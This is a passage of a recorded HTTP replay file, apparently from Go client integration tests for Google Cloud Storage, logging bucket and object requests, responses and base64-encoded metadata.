"Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Up6PS1r6NaUKQ9158DD3cKWHqyParXLdcW8k7sToMskeTU6BjpajWENp3qNHqLMFvX9NrK78TIw31h_ANYkltj3vAQoYq2RG5C6ZB2LCvUIch96SMo" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L28vc29tZS1vYmoiLCJuYW1lIjoic29tZS1vYmoiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0MDYzODY3MiIsIm1ldGFnZW5lcmF0aW9uIjoiMyIsImNvbnRlbnRUeXBlIjoiZm9vIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQwLjYzOFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0Mi4xMjNaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6NDAuNjM4WiIsInNpemUiOiIxNiIsIm1kNUhhc2giOiJSOFVITEgwbzhmMWVNWFVEdHIxNktnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L28vc29tZS1vYmo/Z2VuZXJhdGlvbj0xNTU2ODM1OTQwNjM4NjcyJmFsdD1tZWRpYSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L3NvbWUtb2JqLzE1NTY4MzU5NDA2Mzg2NzIvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L28vc29tZS1vYmovYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOSIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDA2Mzg2NzIiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ05DLzNPbngvZUVDRUFNPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L3NvbWUtb2JqLzE1NTY4MzU5NDA2Mzg2NzIvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9vL3NvbWUtb2JqL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5Iiwib2JqZWN0Ijoic29tZS1vYmoiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0MDYzODY3MiIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNOQy8zT254L2VFQ0VBTT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkvby9zb21lLW9iai9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOSIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDA2Mzg2NzIiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ05DLzNPbngvZUVDRUFNPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L3NvbWUtb2JqLzE1NTY4MzU5NDA2Mzg2NzIvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9vL3NvbWUtb2JqL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5Iiwib2JqZWN0Ijoic29tZS1vYmoiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0MDYzODY3MiIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNOQy8zT254L2VFQ0VBTT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiMHpHc0ZRPT0iLCJldGFnIjoiQ05DLzNPbngvZUVDRUFNPSIsInRlbXBvcmFyeUhvbGQiOnRydWV9" - } - }, - { - "ID": "7a81946424736215", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0009/o/some-obj?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "84" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJ0ZW1wb3JhcnlIb2xkIjpmYWxzZX0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3193" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:42 GMT" - ], - "Etag": [ - "CNC/3Onx/eECEAQ=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uo1klBHpEl6qb-hfnVYr2KJLmo_3_1fgqlMYMBpBt23b-U9pF7bPcNEiJaMtrGEhZPQb9-QnqHiU8qPfmpNpSdy9KR41FwZm-89gyu3EtE5gq3J9-0" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L28vc29tZS1vYmoiLCJuYW1lIjoic29tZS1vYmoiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0MDYzODY3MiIsIm1ldGFnZW5lcmF0aW9uIjoiNCIsImNvbnRlbnRUeXBlIjoiZm9vIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQwLjYzOFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0Mi43MjFaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6NDAuNjM4WiIsInNpemUiOiIxNiIsIm1kNUhhc2giOiJSOFVITEgwbzhmMWVNWFVEdHIxNktnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L28vc29tZS1vYmo/Z2VuZXJhdGlvbj0xNTU2ODM1OTQwNjM4NjcyJmFsdD1tZWRpYSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L3NvbWUtb2JqLzE1NTY4MzU5NDA2Mzg2NzIvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L28vc29tZS1vYmovYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOSIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDA2Mzg2NzIiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ05DLzNPbngvZUVDRUFRPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L3NvbWUtb2JqLzE1NTY4MzU5NDA2Mzg2NzIvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9vL3NvbWUtb2JqL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5Iiwib2JqZWN0Ijoic29tZS1vYmoiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0MDYzODY3MiIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNOQy8zT254L2VFQ0VBUT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkvby9zb21lLW9iai9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOSIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDA2Mzg2NzIiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ05DLzNPbngvZUVDRUFRPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L3NvbWUtb2JqLzE1NTY4MzU5NDA2Mzg2NzIvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9vL3NvbWUtb2JqL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5Iiwib2JqZWN0Ijoic29tZS1vYmoiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0MDYzODY3MiIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNOQy8zT254L2VFQ0VBUT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiMHpHc0ZRPT0iLCJldGFnIjoiQ05DLzNPbngvZUVDRUFRPSIsInRlbXBvcmFyeUhvbGQiOmZhbHNlfQ==" - } - }, - { - "ID": "7865e37b40b9ec66", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0009/o/some-obj?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:43 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uo2nfd81k4cBaY8ZFRGIu8G6DHyGUVAdIJCB65E8ZqqO9ADJIV4K22sQaOA8fqGL3jyi3tIszjBVsXHOFrCgca1vLXSpA1-3s2cn-MVhTKpzZ5tzY4" - ] - }, - "Body": "" - } - }, - { - "ID": "fd9104ab049c0173", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0009?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:43 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqMqIYvjYuUxhnSLyoY-p5BYUiuZIX7cs418asOvABObfrQc8eXZpo-V4LSZVWWgt4CNoviMvFwcdC9sCTKCZU1H-9Ifcuf8lptTMZpiWMJjZfD-DY" - ] - }, - "Body": "" - } - }, - { - "ID": "e735515a80a67931", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "105" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwIiwicmV0ZW50aW9uUG9saWN5Ijp7InJldGVudGlvblBlcmlvZCI6IjM2MDAifX0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "573" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:44 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqxx-CzGd9qn-QCqeE_iYOkeO93A0IpWx1voocTxhTrdkkBJonYBIWXeaEq3g-LNThw7j85IKVotWyBNZlHzqYSgBchb0DeXXetMqS8WBkY603Sa60" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMCIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQzLjgwNFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0My44MDRaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJyZXRlbnRpb25Qb2xpY3kiOnsicmV0ZW50aW9uUGVyaW9kIjoiMzYwMCIsImVmZmVjdGl2ZVRpbWUiOiIyMDE5LTA1LTAyVDIyOjI1OjQzLjgwNFoifSwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJldGFnIjoiQ0FFPSJ9" - } - }, - { - "ID": "94bfaea89e1f47c2", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0010/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTAiLCJuYW1lIjoic29tZS1vYmoifQo=", - "29UJUEl2/QvM9FnDBFnPRA==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3245" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:44 GMT" - ], - "Etag": [ - "CPXIv+vx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqLSIzBtq8Qn_3f51_hlfoIkcpamafGwB3U8er3K_mzANwxXyscBHWZhaxb2-3M2wOT6GZER6-zLAtdeeSNtSlUMHkHX77gocrZGYj103HA-AGjVSM" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMC9zb21lLW9iai8xNTU2ODM1OTQ0MzU5MDI5Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwL28vc29tZS1vYmoiLCJuYW1lIjoic29tZS1vYmoiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTAiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0NDM1OTAyOSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQ0LjM1OFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0NC4zNThaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6NDQuMzU4WiIsInNpemUiOiIxNiIsIm1kNUhhc2giOiJQYzFTWFEyUUk3MGxNNlZIN1F0NUFnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwL28vc29tZS1vYmo/Z2VuZXJhdGlvbj0xNTU2ODM1OTQ0MzU5MDI5JmFsdD1tZWRpYSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwL3NvbWUtb2JqLzE1NTY4MzU5NDQzNTkwMjkvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEwL28vc29tZS1vYmovYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMCIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDQzNTkwMjkiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6